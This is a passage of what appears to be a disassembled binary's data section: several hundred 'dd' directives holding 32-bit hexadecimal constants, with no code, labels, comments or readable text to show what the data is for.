8048883Fh, 1CF62174h, 230389F0h, 1BD38699h dd 0A5C10E0Eh, 36203B08h, 6DA2160Ah, 0D2002675h, 31F058CFh dd 420DB99h, 70EC7B2Ah, 9B18814Dh, 0B77C243Ah, 749086Bh dd 7F45C130h, 0EEE888h, 84A1A0FDh, 499FE8CAh, 3408C091h dd 20954B44h, 2580E891h, 0E634D050h, 0ACA06100h, 0B9994B17h dd 0C3C117C5h, 7CC020E2h, 0B3E2EF14h, 0E6339500h, 9884E8DEh dd 8D640146h, 457A8AB8h, 6740FE1Ah, 0E8911718h, 31CC3500h dd 1B5C968Dh, 0D0E82CB7h, 0F8BE29C0h, 42D104B1h, 6217A918h dd 7C435088h, 8330B7BDh, 60588047h, 18A49A90h, 39647B41h dd 91C0DB16h, 441C7353h, 391A162Fh, 811B00AAh, 7AC69AB6h dd 80F81858h, 0DCD6CED9h, 0E34A18B4h, 834C493Fh, 0D8E9BC07h dd 0B050C4F3h, 3E7F1F01h, 1301DFA8h, 0FA194C8Dh, 5A40D03Fh dd 7A8BB000h, 86319854h, 2EB14409h, 59942B02h, 61245690h dd 3019226Ch, 83269247h, 16C46CABh, 8E864140h, 7F07AEF4h dd 0F5C71202h, 26856270h, 47EF17FFh, 6FC0123Ch, 2DA60298h dd 441C9571h, 0CF0D09CCh, 6280F168h, 31992844h, 0EC41B324h dd 439E6D80h, 0D9A602h, 7A931D18h, 9F372C24h, 0C0548005h dd 0A8D35077h, 4FD0C085h, 8D11C363h, 5A05DAB4h, 7FF0F2CBh dd 0B385A60Eh, 0E123643Ah, 11B66603h, 0B421E5E5h, 14C3C0DAh dd 0CB209C9h, 5FC85406h dd 4C07885Ch, 5AD374EDh, 7FC02961h, 0AC64DAF9h, 608500BDh dd 58E46BEDh, 1C302BBFh, 0D722510Eh, 0EB7D0048h, 0B82ABEF0h dd 6500101Dh, 0BDE34DC5h, 0A5BAE61h, 0CDBB0963h, 7F4F6FFCh dd 8CB76682h, 9201D851h, 5890B423h, 8B03E821h, 8402BDD3h dd 0CAF4E483h, 8D4E4084h, 38E32413h, 1546741Ch, 312D2Eh dd 7A686008h, 825C4250h, 0A409DEFCh, 7FC4C2Ah, 77953F1Ch dd 504727D8h, 0A3A6419Ah, 44947A01h, 4EA5F367h, 192FFFCCh dd 401DA488h, 0D473C2h, 8A8B97BDh, 7F96022h, 9E185CBCh dd 83C0A3C8h, 878009E5h, 0F62804B0h, 37B85713h, 73C438h dd 519BF620h, 0B6AEA177h, 5C481D58h, 2F4B80D8h, 517CF59Fh dd 8C36946Fh, 6AA2E5F0h, 59ADD601h, 0F0B4AFBCh, 612ED840h dd 40144DA4h, 680FEB3Fh, 46D3A22Fh, 29DCC048h, 0F92B9F02h dd 885638B4h, 465C44E0h, 0D13405E5h, 0FCC5118Dh, 80E44903h dd 0B4500A5Eh, 17D4025Fh, 579C201Ah, 0D032B8B0h, 719C90DEh dd 18497190h, 0DA5A07E2h, 0F05D89EFh, 0B7B3DC60h, 0FF1548B1h dd 513D06B4h, 5C38FB38h, 48BC089Ch, 6B10008Ch, 0EFEE861Eh dd 0C9A51FBh, 0FC68BA14h, 1CB783B0h, 0B0780CD2h, 3D7133AEh dd 503ED508h, 5A40A3A7h, 95F77AC0h, 67020AECh, 19F04F05h dd 78B04312h, 315662E0h, 54720D1Bh, 25467600h, 69CE9B38h dd 47DB1F92h, 6CEBC019h, 602613CFh, 31311C30h, 0B230E425h dd 0B89228D4h, 8C9D230h, 0B444B04Ch, 0BBD38A4h, 0FC7F8FF2h dd 4E443A03h, 0FA2C403Fh, 4A4CAEECh, 51429E6Ch, 81037488h dd 0F897BF98h, 808CD455h, 650D58FDh, 71EA9C00h, 1DB47AD4h dd 322CCAF8h, 4674C4F9h, 0E159004Ah, 0B11222BDh, 0EA94C23h dd 602B5602h, 0C841A6BBh, 55C85881h, 0BC26F208h, 4E4DC456h dd 0DDF2A075h, 183D3E0h, 0D9BFF758h, 42FEF6C1h, 0F49990C4h dd 0F2C4197Eh, 3EBC2923h, 4A72402Ch, 397EE6F2h, 3DC6D000h dd 0F0565411h, 336496B7h, 28D483Ch, 3FC8CAB0h, 8513BC58h dd 0C841F0ECh, 52FEBC1Bh, 80F04C66h, 0E3306C48h, 0CB98393Ch dd 4B8AC85h, 0B855F626h, 20496227h, 0AEF61E71h, 6BDF3500h dd 0B87451C6h, 0C82F67AAh, 0E00B48A7h, 0A140809Fh, 3C636Eh dd 0F231A0DEh, 0E8DA8FF8h, 8211E49Ch, 52F62380h, 0B8B90FB8h dd 0F61B6EC0h, 0B0587146h, 5AB8B0EEh, 8BE46427h, 0C04988DCh dd 0A75175DBh, 3DAAC100h, 523E4D42h, 0B4848244h, 6A804306h dd 30CED0A6h, 0D65104D1h, 0C0A97675h, 81428E10h, 2A5982F9h dd 0C6FE1B8Dh, 3B751E00h, 8FA0000Bh, 9DAE2660h, 4F791C91h dd 29008418h, 5ACDC57Ch, 0B38771Fh, 18E41D17h, 0AF6C821h dd 53C8E02Dh, 0BE2D1492h, 82D409F1h, 0E3FE0E8h, 95932BDh dd 0C6313140h, 49C7C303h, 0F53E9345h, 884DE0A7h, 7600A7ACh dd 6AB8ED37h, 7F7B999Eh, 142DEB0Eh, 8DC04DC8h, 46548ABDh dd 0E2228Fh, 0C5BD860Eh, 0DFB2F092h, 8941CB14h, 7F8E80E8h dd 0C040E36Eh, 7E589311h, 40089CCh, 9929870Dh, 1C94C4E6h dd 0C445E306h, 0B26A192Dh, 334BF2BCh, 0A0B57E80h, 70B3B802h dd 40F8A391h, 823EDF80h, 0B28A7880h, 201FADEFh, 4E055B6Fh dd 0BC03FC86h, 0BFD51CF1h, 0A3E50981h, 3444DEh, 0E78093ADh dd 0A877EE9Eh, 8B091D09h, 94741875h, 219B2489h, 0D124293Ch dd 0E4A81846h, 0B947A1Bh, 0D017BB8Bh, 4B11581Dh, 0BDB2E980h dd 0C439E2E0h, 5C6C1383h, 0DC2A3CC0h, 2FA34F5Ah, 1F4A236Ch dd 8EEB82C4h, 2C518AD4h, 0C1181179h, 0A9FFB604h, 28A28542h dd 1A146808h, 4CD65B1Dh, 9A8E4C6h, 0CCB48242h, 4C3724A9h dd 0F8307512h, 7E955ADh, 7B8E31F7h, 8D1CB005h, 0EC352AA8h dd 9C81A901h, 4E0163CCh, 0B26033F4h, 0A7F304Ah, 0BF922900h dd 54740482h, 0C070424h, 0F3E7B509h, 33E1E2F4h, 2B0D2380h dd 3C98CC2Ch, 0D3BF3180h, 5A8088B8h, 0D8F06115h, 0F428092Fh dd 8C0FACh, 0F9ED234Dh, 0F43599E5h, 3E47EF16h, 1F56EC9Ch dd 22175A25h, 58365000h, 93B271EEh, 0A072A1h, 519D76BDh dd 0E48E11BBh, 6860DA17h, 8AB0A419h, 0EC9DB0DCh, 905CCAh dd 0F970B70Bh, 50BEC446h, 4F4656h, 0DB2F0922h, 7AC1B8F6h dd 37AB095Ch, 4C49D363h, 111FD282h, 3683804Ah, 12DB905Dh dd 426CAFBDh, 32F8185Ch, 0E711F09Fh, 17A26C80h, 45026285h dd 56C80877h, 784C40F3h, 0F6C38335h, 0E85707C0h, 0C83ADB28h dd 0FCB4C108h, 4E1C0237h, 438549h, 0E86C8C84h, 50415D6Ch dd 369020ECh, 25F04C2Dh, 54E0CA18h, 8B42409h, 0BBDA8A54h dd 55B04224h, 8AB8CA02h, 1B11301Ch, 8B8E8780h, 448C7383h dd 7F003A17h, 70C11D8Eh, 3082223h, 21532B01h, 1CBA58B8h dd 545A5854h, 18EF5608h, 9CA60F4Dh, 2B006CC3h, 0FBAC87BEh dd 0C35850D4h, 900E4ACCh, 227149Fh, 0B0B1E859h, 0DF6D940h dd 9579D430h, 0DD12054Ch, 8A942AD0h, 0B8F85898h, 810E8CE3h dd 6261D454h, 548BE856h, 3E8A0FE0h, 34213D89h, 63338341h dd 55150030h, 0FCE088BAh, 87C9642h, 9C20F9DCh, 0A21D7425h dd 0CE9088h, 0E406830h, 9718B09Ah, 8031DC7Ch, 98024060h dd 4739B905h, 0D0400A1Ch, 72973313h, 21B11830h, 57FA9A4Eh dd 0E9ECDF09h, 0A0D80F8Ch, 80B9FF1Eh, 48166464h, 0B8E8A92Bh dd 915F1D4Eh, 0B508423Ah, 50408657h, 638243A0h, 238D2E0h dd 0D4541859h, 0EC746C80h, 41C48Bh, 271FE6Eh, 493CFB2h dd 974CDD2Fh, 80E89138h, 43F88831h, 2C5F468h, 0BCA0B4DAh dd 1C4870AFh, 3854885Ah, 25132EB4h, 844160ECh, 0B8F2BE31h dd 0C90CF0E0h, 70659C20h, 97604CC4h, 4FF2CA82h, 0B4D00328h dd 14744002h, 0A0051BEBh, 0BAD7249Ch, 0B66400D1h, 0F71D36C3h dd 52F1CA5h, 0E8BD27h, 6A5F0B53h, 0C8C4ABCAh, 0BB0224D0h dd 6C78E487h, 0A7899509h, 10E0822Fh, 0BBBD030Eh, 2D1D1805h dd 0A849D01Ah, 0E42CE5CBh, 0BCC66046h, 6CF04997h, 0E030205Eh dd 630C87F6h, 0A0D131F8h, 901340D8h, 3EF24C98h, 10DA0982h dd 7E067B58h, 8FC1029Ch, 3E93B858h, 50604A00h, 40096834h dd 10A0248Ch, 991B0053h, 37552D85h, 0CAD8C41Eh, 2E40C262h dd 0DCB7AC89h, 1BDA0387h, 6884BC53h, 0B9A9069h, 0D03738E3h dd 2CD2889h, 1A24F0h, 3534BAB5h, 11F49795h, 5DA580E2h dd 0A41852E3h, 853905B8h, 0C16E3FABh, 0E6593E92h, 0CC903C7Ah dd 56BF01EDh, 90814AE8h, 8EEA0080h, 25B9425Bh, 5A043336h dd 0DFD05728h, 83FAA4E1h, 91AA4h, 0F918ADC9h, 0FAB62194h dd 8CF20300h, 7DE34579h, 22C4A00Eh, 8F32162Bh, 8B0452A0h dd 0C047C80Ch, 5C0DCF2Ch, 0A89ECE34h, 6E4FC8F6h, 0DE480180h dd 6CAD401h, 12A28063h, 31C6330h, 0B9A20554h, 42987BCDh dd 0C0A8D618h, 8203222Dh, 4136877Eh, 83B1B1C1h, 0B1493830h dd 0AC6715C0h, 0F852093Fh, 73F13100h, 3A2B51Fh, 0CC58FCB4h dd 0ACB184E8h, 6D184D71h, 0E2BA9000h, 0B8A8753Ah, 4DD4A9C0h dd 0B5842473h, 0B43143E0h, 0BE00BFC1h, 0B4D95C97h, 0AFBBE1D8h dd 0C0002B84h, 7F42A63Ah, 80B180h, 0EC7D3156h, 112C1F97h dd 7E089035h, 70179E37h, 0F2F1DA69h, 0FF50F60Dh, 67F2E8E6h dd 6048E448h, 133A3319h, 45C880BAh, 0CC2D1B88h, 4D5A8C88h dd 0D0C6DC4Fh, 0C0B6FA22h, 0A1ED00DCh, 0F9D7BF4Bh, 4DEBFAF3h dd 0B46E2E98h, 0ABF0A600h, 0D4DB5156h, 405BCF3Fh, 0E4A095E2h dd 75C83C24h, 0FB2F5700h dd 0CF39D33Fh, 50581636h, 90B4C2BCh, 0DCEAE88Bh, 0FE1BCC61h dd 0CA527B00h, 1F97C31h, 25DB014Dh, 335A890Ch, 18FB1FE0h dd 3A523E07h, 6C88B760h, 10C08206h, 689648CCh, 86992C02h dd 4F20610Ah, 8F026436h, 9F548CBDh, 1058185Eh, 36BD0588h dd 40021BFCh, 2B6374A8h, 87797A80h, 0F224F0EAh, 0B6111CCFh dd 0EC318E00h, 0B8569585h, 3000DF5Eh, 78612E5Bh, 2E9C8128h dd 0ED00646Bh, 27006C3h, 0AC009949h, 0E165F132h, 3C8A5D5Fh dd 80001D7Fh, 9763610h, 854C1B60h, 63DA05A4h, 4078754h dd 18C38B25h, 97E900D8h, 50664073h, 0BB1D1085h, 0DD4963D9h dd 0E494655Bh, 8647614Bh, 164E38C0h, 495DE3A6h, 0B49798E0h dd 0F5804991h, 0B5DAF15Bh, 5FF38912h, 0ECE0900Ah, 45337B89h dd 610EE410h, 0F422E3FEh, 1F1DB0Fh, 0D16A1DA7h, 3C3C1549h dd 8C46BC68h, 0AF1F927Bh, 6938FC10h, 5B709122h, 198490F1h dd 0A91C3D13h, 9400174h, 0FF5AB450h, 4F2B9F0h, 0C35CAC67h dd 20FF87F5h, 4BC85481h, 27CC314Dh, 44F4C7E5h, 79876246h dd 88398294h, 0EC070AB8h, 0F4CF2F05h, 0ACC11188h, 0BED8037Ah dd 5EF8B6BDh, 952C4346h, 79F104A4h, 5B38F8C1h, 4423582Fh dd 2C014E26h, 0FFAC9734h, 0C2133028h, 239C3A15h, 18D2160Eh dd 5CEB614Bh, 8F70A800h, 4139BB8Ah, 0A4E2E05Bh, 0C1B202A8h dd 255C0B1Ah, 0CE480440h, 1D2A8D80h, 42F1C9B4h, 0A35A3B37h dd 465E20D4h, 51C0014Ch, 78655D7Ch, 2A3060C6h, 0F48F488Dh dd 4F905A10h, 0E911088h, 89F0B44Dh, 48025440h, 490E2116h dd 0A373E7F1h, 0EF874E2Bh, 0E588029h, 14832C48h, 505F2685h dd 8C4BB8h, 0CDB57C2h, 8050AE3Ah, 0EB014C00h, 5983AA46h dd 241A9D8Dh, 465E8876h, 0E60C7310h, 793EB528h, 75180043h dd 6862B840h, 0E70CDB03h, 2145B464h, 4680002Dh, 79852FDCh dd 1200D70Ah, 1C42A150h, 4C04A409h, 9C10CC4Dh, 0F0B3000Bh dd 626A1808h, 99CB7CDFh, 18497904h, 0E3E83EBEh, 0F90068C8h dd 0B8A3B18Fh, 932DDFBCh, 3C1C4808h, 0C92D8CDBh, 645467CDh dd 4E5F604Ah, 4FB10530h, 808453A0h, 0D8E9DA6Eh, 1DC1B007h dd 93A417EEh, 28B220D5h, 8C3048F2h, 0E99B2CC5h, 845444D8h dd 8570D1EAh, 0B85069F2h, 0F5B10017h, 5D71EF44h, 56123D52h dd 30A17BE8h, 6E4F5C6Ch, 0D16B02A8h, 0D667E88Fh, 8B36139Ch dd 0C0DF88E0h, 0F3D0552Ch, 2501189Eh, 2BEFD707h, 16836424h dd 44154B4h, 0FD2C2348h, 0A6AD21FCh, 40BD650h, 40D8C423h dd 0C03A84B0h, 2A8598D9h, 1491F44Fh, 0C31844D9h, 0BBF1BA02h dd 74F704B7h, 0E8880938h, 6D04E458h, 87513ED3h, 4C41A0A0h dd 2F81707Fh, 822BD060h, 8869828h, 0E4C52B5h, 1DF8A31h dd 0C18E4B01h, 0A0042BF4h, 233EFB42h, 0EA83074Ah, 0BBD900FEh dd 0D662A887h, 56CB27B0h, 0F8472D98h, 8D631464h, 6BEAC88h dd 0B38F1613h, 9E7A2821h, 354B430h, 841DFDC3h, 0D0B889F5h dd 70C245D7h, 4D358A58h, 56DEC024h, 0EF88A3F0h, 74ECBE5Ah dd 0E9024B47h, 60EA77A1h, 8A1040F3h, 0C814CAD3h, 6BF3C04Eh dd 5B01B272h, 29DD8BE7h, 9C54491Ch, 13F248B2h, 2D7F330h dd 0BF46C426h, 88A0D418h, 0D599ECA1h, 0CC72A02h, 7CF356D6h dd 4690DC1Ch, 3CA7662Eh, 0B7A3BA0Bh, 427584DCh, 5774887Eh dd 24E08810h, 0F47FF912h, 550B046Ch, 97990A5Eh, 814B914Ch dd 5AB79DCh, 2E4D4E8h, 548A84C0h, 20D0B7F0h, 7CEF853Ch dd 1035C334h, 9AF7D8F8h, 7898A380h, 0AA009841h, 0F37A9366h dd 5EB7BC13h, 806C85B4h, 2EF9E920h, 89D85125h, 80BC37D0h dd 697EE3Ch, 0B8BC3210h, 7D787849h, 0D9CA5BF7h, 0B23872D8h dd 8F423017h, 5C59F00h, 82D4E48Dh, 883038ECh, 0C2640CDEh dd 0FE8C1C58h, 838C138Eh, 3B0C387Bh, 0E8E8001h, 0E6315FBCh dd 7C6896EDh, 5A8CDFBCh, 0F8C8C0A8h, 7700F24Bh, 9911D3Eh dd 5CBEBBE6h, 2302DCEAh, 3948EC85h, 89C7F080h, 1D058EF2h dd 0DFF4B7BEh, 0C0689819h, 0FC285AE1h, 69DAB818h, 8725BC2Bh dd 0E4288EC4h, 10F4B4DBh, 0DCE89C5Bh, 1FE68200h, 56789B46h dd 0F8849D31h, 9B1652h, 613C9280h, 88176249h, 0CD015B0h dd 0C991AAEh, 3CB52785h, 0BC0020B9h, 32166174h, 12732851h dd 0F6362185h, 0C46FB01Ch, 18D1091Dh, 68022975h, 0B85AB5DBh dd 98BC0927h, 885E7738h, 0B078551Dh, 0F41C967Ch, 83EFEC25h dd 5B37B618h, 0C8E48E30h, 0BCDBC011h, 930B5EDEh, 0C260E483h dd 52E42B2Ch, 2C900B24h, 84717C42h, 0BA67DD40h, 0A5BB124Ah dd 0F25CA2E0h, 3E5A3042h, 2D5C69E5h, 0EB3844BFh, 7040BBD1h dd 4EEF3383h, 23302E9Ch, 5D240048h, 0DC80BA7Bh, 9C12E4BCh dd 42A278E3h, 3CBABE30h, 98249DC5h, 400DC68h, 0E30179B0h dd 3BB85861h, 0F45028F4h, 30490B15h, 2050489Ch, 6B985Eh dd 2B5C5A2Fh, 29DA5E0Eh, 3A0C8BEh, 80704AB4h, 4B935BE4h dd 421D7F01h, 8D23892Bh, 0ACF3C4EBh, 0F3047A2h, 0B0510118h dd 0B3B8A6C1h, 22547CDDh, 0DC819F14h, 504208B4h, 6338EC08h dd 6BBC4082h, 40418249h, 5800F66Ch, 5CD7F6D0h, 16ECA8E2h dd 1B29008Ch, 40B611B3h, 5400BB6Fh, 37BAB060h, 279F2E3Bh dd 0ECA78442h, 166CFA3Dh, 0A940F41Ah, 3C35AF0Eh, 0CC140059h dd 2443DCBFh, 53C258Ah, 0F89C7F32h, 0B59925C0h, 85B68790h dd 0E47DF078h, 5099744h, 2B98A95h, 43B56B4h, 8F9088B3h dd 0D01C7B00h, 3135112Ch, 4CE0FCF2h, 0D8F58B4h, 9AF4DDE0h dd 0BA2C3F87h, 0B878D8C9h, 4D30422Dh, 0F0DBAD48h, 7DB38F3h dd 0D05658C2h, 17E04AFFh, 0D400E4E3h, 60178F00h, 7BF9EB6Eh dd 0C9CC6012h, 9F5DF131h, 90DD605h, 0C0057B4h, 88B2F3BEh dd 46F22640h, 0B3090688h, 48EB210Ch, 1F606BD0h, 0BA793A2Ch dd 3C71F97h, 669F0080h, 0FF686447h, 0AC421538h, 1C0B4CB1h dd 67244F61h, 0D63F7695h, 0C33C7F0Eh, 5AA0144Ah, 4A23203Bh dd 6E8E4500h, 95325EDh, 189CD220h, 1C0AA452h, 8880592Bh dd 928DF100h, 0BC2707B8h, 0EE0960B8h, 970EC0C5h, 1646F534h dd 4AC8708Bh, 4B6655C1h, 5970CFCDh, 949C4C03h, 2D190810h dd 308C44B3h, 79A1DE17h, 2800EB85h, 0D9485155h, 5BE8DAh dd 931F755Ch, 23DBBB80h, 6230E412h, 0C02A3C0Bh, 59BFF574h dd 215B6C2Fh, 6ACBA650h, 4823043Bh, 0E33E2600h, 7CA986D4h dd 748F1292h, 0B2A0A3F9h, 0BB53046h, 0DDA74E02h, 0C00C5830h dd 1833D100h, 58CD7887h, 670A89BFh, 0B8EC6A4Fh, 54003611h dd 442D2F91h, 4A2E1276h, 6080B081h, 0BF598B25h, 9BE82754h dd 0B0E31001h, 943B7FCFh, 22004623h, 0F9248BDAh, 23545B3Eh dd 0E7BA87E8h, 350F009h, 0A3B221B9h, 410039E3h, 0D2A7956h dd 56CEFA9h, 174EE742h, 23983A6Bh, 3A8C0045h, 0E3FBE94Bh dd 0CC84404Eh, 6B5BB0FDh, 4EF700ACh, 87088818h, 9D1173Dh dd 0EE8C20B7h, 45412BEFh, 0AABC643Fh, 253BF06Ah, 9C1E5681h dd 0CC5CC78Fh, 3896D40Ch, 0CDF6273Eh, 0F22C0FCh, 0C29763BEh dd 14C47E00h, 5DC1D03Dh, 78F0D0B7h, 0BC838700h, 0A0A95695h dd 54BC744Dh, 28DDA800h, 0EF5386E7h, 0B8092DEEh, 0D0848812h dd 2508BC60h, 244418h, 889AC424h, 0B374AEA7h, 5DD3E3A0h dd 9212B900h, 0B46582Fh, 1E4F2C55h, 48467470h, 2063EF00h dd 0D4B0B962h, 0D1EC80A0h, 96812E80h, 0AFBD86E8h, 7CB4193Ch dd 486E976Eh, 570AA17h dd 0F557D424h, 0BB9820C8h, 956A1901h, 0A0DE2D56h, 23142F7Fh dd 0B5800FE4h, 94B8C402h, 0CE91ACD4h, 0C07B9C25h, 3E8F858h dd 22EE5AF1h, 5DDAAD04h, 17B788D8h, 8248911Ch, 0FE50199Ah dd 0C900493Ch, 92165D2Fh, 57829C91h, 0AE284C68h, 0AEEE20C0h dd 0BEA9D336h, 0E4972774h, 4E804591h, 5805130h, 463CE416h dd 583DC8A2h, 0B80D8892h, 0C0CE5AA4h, 0C8C04588h, 385FE935h dd 6989EE60h, 88CD87F3h, 0B88461C4h, 34873081h, 86F05h dd 0D428CC53h, 0B5EBFF83h, 0A3CB019h, 47A27842h, 12BF30h dd 9778E13Dh, 3807F054h, 4A84C695h, 0E2E4E358h, 19A43014h dd 8803C077h, 0C854696Ah, 8060F663h, 95E440B0h, 8FBCB0C0h dd 17DEA020h, 8378D25h, 17ADE3CCh, 80E4913Ch, 2D102F8Ah dd 0B44301B3h, 4B3E63D0h, 48742E6Eh, 0E39D008Bh, 87BBFE02h dd 8A2869DCh, 0D2B8143Dh, 5B42473Dh, 0C500887Ah, 0ED776EC4h dd 9B03B93Fh, 173DDBF1h, 0E36900E0h, 964758A4h, 0E13E047Fh dd 7AD3005Ah, 8DD233F9h, 552A03B1h, 0CBEFFF25h, 6CF4B0D5h dd 8BE428F1h, 0C4BC4750h, 0F0C06014h, 57D3006Dh, 5C21D7E2h dd 0D940B487h, 0D162EA8Dh, 7BBCC4D1h, 0FF7A9300h, 9C87BCA9h dd 1FB0B1DCh, 0C20581F3h, 6AA61572h, 0DCBDF452h, 9F0657B8h dd 0C68E8D4Fh, 20AE97A6h, 36B17EE2h, 49793CD1h, 38012318h dd 20DF1467h, 6830F336h, 0AD3A414Ch, 71037C0h, 0E0E0ECC7h dd 0B17842D4h, 0B0496B0Bh, 2841188h, 37412034h, 5791667Fh dd 0A3174F29h, 3142F288h, 0AC202F1Eh, 149E34Ah, 0A23469A3h dd 0C0CF43BBh, 2413567Bh, 1891E4F9h, 203DB5DAh, 58EC2304h dd 948C164Ch, 18CC2D2Bh, 2071BCE2h, 6E1848D1h, 993F8C3Eh dd 92194355h, 7E04307Fh, 58715B33h, 4880405Ah, 0C9608941h dd 68793D21h, 0A0B7BD02h, 67B40ADFh, 0ECB86027h, 0C700CFF4h dd 389EA83Bh, 88D9DAh, 8D337F39h, 0B4320361h, 641DC006h dd 9F97A42h, 2A568CFAh, 0E11B01Dh, 0EC1DB981h, 56447438h dd 0C047E827h, 5EE48364h, 0FD88C5C0h, 1B7B8C8h, 71D7A06Eh dd 0E4B8990Fh, 0E4F6BCB6h, 528040F5h, 0A1B52480h, 0EED0AFA0h dd 33C6BA01h, 304CA268h, 6975D558h, 7DF46C01h, 8D088BAh dd 7417E072h, 1AA890F6h, 0B4195606h, 9D40F1D2h, 546B7Fh dd 8DE5EA70h, 41742A2h, 1FF05721h, 0D2850E61h, 70AC5812h dd 0B81CA9D3h, 41D500D2h, 4DB3D610h, 50373E3Ah, 0EAF48935h dd 0F01CB2C2h, 6050B414h, 6C718A95h, 0CC9CB3F4h, 5F80AA9Fh dd 2185D8FFh, 983142Ah, 5B2550BAh, 4EE40445h, 0D0956D61h dd 0FD0C03EAh, 483906F6h, 0BE10FCB7h, 685F4188h, 87FC21ACh dd 4ACF7AA9h, 0C0C46D09h, 481D39E6h, 5E750E09h, 38D1DCh dd 377DF1CFh, 0CD002F71h, 0DBFFD8ADh, 0B78CCC03h, 662A1000h dd 0E450B0AFh, 8B4BB294h, 0E88ACCEh, 0BA8A92C0h, 0B2834EBDh dd 578F1348h, 60A6780Eh, 0C28AA0D5h, 0BF442469h, 68972700h dd 0ED801591h, 0F905713Dh, 0C8049207h, 0D0047FBCh, 444B8C9h dd 0A97434ABh, 0E8A0B864h, 0E8F70506h, 28F2177h, 742B97D4h dd 81523E02h, 22859828h, 0ECD006D1h, 9D4E5ADCh, 0A2403384h dd 61343015h, 0B909F47Fh, 763A4501h, 0A97540D8h, 0D0F81AC7h dd 0BB39403Fh, 3DEE8E8Ch, 92AC277Ch, 60DBB051h, 5F2A9CCh dd 1DB48EBCh, 0B1BCA801h, 2909FE88h, 29BA860h, 89951F5Fh dd 0C841D73Fh, 0E0B31039h, 0B8261616h, 809C3C60h, 75CC5020h dd 10603057h, 0D4B7BB20h, 0BA026094h, 561AE868h, 49467624h dd 16738D00h, 2FF0568Eh, 68C83751h, 489BD270h, 0B7DACC82h dd 508B8C4h, 2D33C8ECh, 0F9599425h, 265BECA8h, 3ABA1694h dd 4EC4015Eh, 2B3189F0h, 885DF088h, 0FC12B898h, 34161BF3h dd 13C814CEh, 194518C0h, 50941CBDh, 0FCC28BF6h, 98805459h dd 0C65C067Bh, 3E645BE3h, 4523A8h, 7DEF74Ch, 5A1CB4C1h dd 0CB911235h, 7B992B00h, 0B9877D0Fh, 0DFFD1A00h, 0D0589077h dd 454F4BAFh, 0A8700278h, 0BF32C2F0h, 1168C0D5h, 0E28D4A28h dd 749922C0h, 845013F1h, 0D300AD71h, 0E5B2E8F2h, 98ADA730h dd 54F4040Fh, 88C48345h, 991F5BFCh, 828981B9h, 40CC7C5Ah dd 0A86EC38Eh, 4A65D012h, 803CB408h, 0F8DBB182h, 0B0000139h dd 3E54AE4Ch, 2B298FCh, 528D71D6h, 0D4605B90h, 1880D43Ch dd 38492E6h, 7363094Ch, 0BEAA8182h, 74A644F6h, 0BC106760h dd 25B609C9h, 8C4054ECh, 0F4B0E329h, 694048BCh, 17A824Dh dd 55D4B2ADh, 0FC155953h, 245A875Ch, 0C9BA8400h, 273E6B17h dd 7C89318Ah, 0DCD4DEh, 0A4C64D67h, 5809DA0Eh, 0CFC8016h dd 0FB0524A6h, 0FD5CE0EBh, 105C4C30h, 164E55A0h, 80289B7Ch dd 0EB62BF96h, 0A4174B52h, 4C1E6E34h, 0CBEC25E6h, 0F871390Ch dd 8DE740C8h, 99178C9Eh, 28D820DAh, 1D012509h, 41F44918h dd 0C029A35Ah, 0D62C50B8h, 39114012h, 2897BB06h, 0CC80A8EFh dd 0EE754A25h, 98D7E002h, 591E4F54h, 184379ACh, 9C974C4Ch dd 4A44E310h, 4C13861h, 8034E311h, 4173B139h, 10FCEC6Fh dd 5F4617C7h, 0DFC84C9Ah, 0F0570AC0h, 503962D7h, 0F2822FAAh dd 2F5D343Bh, 8BF00320h, 488C74Bh, 0FDEDE9DAh, 0A5B2218Ch dd 0EA40D44Dh, 0B12C2C9h, 0B2DADC87h, 0FC9EECE4h, 13474676h dd 1008F37Fh, 5B8F80DBh, 0AD0EA161h, 6959EE1Fh, 4193803Fh dd 56904F24h, 6BA4BC25h, 0F36720EDh, 0E660BC17h, 28ADE447h dd 20F07F96h, 59014283h, 8FBC8EBAh, 2821E0C0h, 8C1CC53Eh dd 0F6006EE8h, 0C357597Ch, 1647D5ADh, 0B76F1069h, 2529B190h dd 451CD22Ah, 2AE5204h, 1A788B4h, 78EB5BF5h, 0D7004FA9h dd 0C52AF4BFh, 5816612h, 0B99733EEh, 0A4E7EB07h, 6D25FA0h dd 0A1BD8907h, 83631430h, 0E68180C1h, 917D0128h, 419D017Fh dd 3B1E811Dh, 3F860FD9h, 97FDD0ADh, 801D9186h, 0AA6880BDh dd 93050019h, 666E1196h, 291FD98Ch, 6C32798Dh, 0FCD40F6h dd 0FFD15B84h, 0CA5F960h, 12EC00B5h, 95FF5F8Fh, 36D02E45h dd 8C1CE8B1h, 5499C900h, 7762DDCDh, 0AB0E5EE6h, 15587840h dd 13DCC42h, 1EEEB8EDh, 6F0F8385h, 7677EDh, 1147D850h dd 45DFBF8Dh, 0A95E5238h, 17D1CB5Bh, 56B80B18h, 0B5198BE4h dd 2BD81C05h, 817BF5F2h, 0BBAF458h, 57297F76h, 1B97E877h dd 893A0747h, 0D0AB6DD9h, 0BF0F7204h, 3DBAFA61h, 0DD8D0834h dd 20351186h, 6639D71h, 503DE990h, 40351F17h, 0C0528B0Bh dd 3114E253h, 2BE96EC1h, 0B6ACAA00h, 0C4F5FCB0h, 0C8A86D00h dd 22F4F229h, 0F440701h, 27FE8B20h, 8ED844C3h, 0C0178843h dd 0AE1D93FAh, 0BD958918h, 3085C7D7h, 330C2A05h, 3A0CCE5Dh dd 3B01830Fh, 80E2DCFCh, 52B6BFF0h, 810C2273h, 341AA5BDh dd 175192D0h, 0AB30850Fh, 5480449Eh, 77FDA53Dh, 85FF4B14h dd 0FA663031h, 0A3AD9509h, 0B5F5CFA2h, 0CE810F41h, 8A203885h dd 17116069h, 31F2C2BFh, 151DBD32h, 33DAD790h, 0A7F37100h dd 4E223B3Fh, 0D0540FC6h, 1B204746h, 6D178251h, 2EEF695Bh dd 3B1B239Ah, 0F92AE180h, 9133D8DCh, 7D83E291h, 32EE7E3Ch dd 0F2D8E432h, 58FCDBDFh, 3760AFE6h, 9D29F042h, 52154905h dd 0D8391122h, 24C00043h, 8D815B08h, 0B5401AFh, 0C5F57F72h dd 886F4B71h, 0A82DC01Dh, 4B028E88h, 689D9265h, 8462B5A1h dd 8EBF5FF7h, 0C2158865h, 0DAD70D05h, 2FAE05CDh, 0C3EFF7Eh dd 0F806F389h, 88E65EC1h dd 0F86E287Dh, 8C1DB815h, 0CFB3A000h, 0D50F1FEFh, 36080399h dd 0FFF839E9h, 58E6BE8Dh, 0C44F01B7h, 38E9F4FFh, 0C18BF816h dd 8889CBEFh, 8C9C019h, 0D816CF46h, 0C7EEEBACh, 0CD770B38h dd 6C0160AFh, 0E1007BECh, 831E448Ah, 5AFDB531h, 